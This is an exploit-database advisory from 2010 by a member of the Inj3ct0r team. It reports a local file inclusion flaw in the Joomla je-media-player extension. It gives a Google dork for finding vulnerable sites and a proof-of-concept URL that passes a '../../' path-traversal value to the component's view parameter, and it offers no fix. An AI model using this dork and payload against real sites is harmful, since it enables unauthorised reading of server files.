Joomla JE Media Player Local File Inclusion

` ==============================================  
Joomla je-media-player LFI Vulnerability   
==============================================  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ########################################## 1  
0 I'm Sid3^effects member from Inj3ct0r Team 1  
1 ########################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Name : Joomla je-media-player LFI Vulnerability   
Date : june, 26 2010  
Critical Level : HIGH  
Vendor Url : http://joomlaextensions.co.in/extensions/components/je-media-player.html  
Google Dork: inurl:/components/je-media-player.html?  
Price:$15.00   
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>  
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_  
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz   
#######################################################################################################  
Description:  
There are three different manager in that component :-  
  
1. Album Management  
2. Song Management  
3. Setting  
  
1. Album Management :- Admin can add,edit ,delete,published and unpublished the album photo,name and description. Create the thumbnail for that album photo. User can configure the album photo size from the configuration.  
  
2. Song Management :- Admin can upload song into the particular album. Song name and description add,edit and delete from the song management.  
  
3.Setting :- Configure the album thumbnail width and height. Also configure the player width and height.  
  
#######################################################################################################  
Xploit:LFI Vulnerability   
  
DEMO URL : http://joomlaextensions.co.in/demo/components/je-media-player.html?view=../../  
  
###############################################################################################################  
# 0day no more   
# Sid3^effects   
`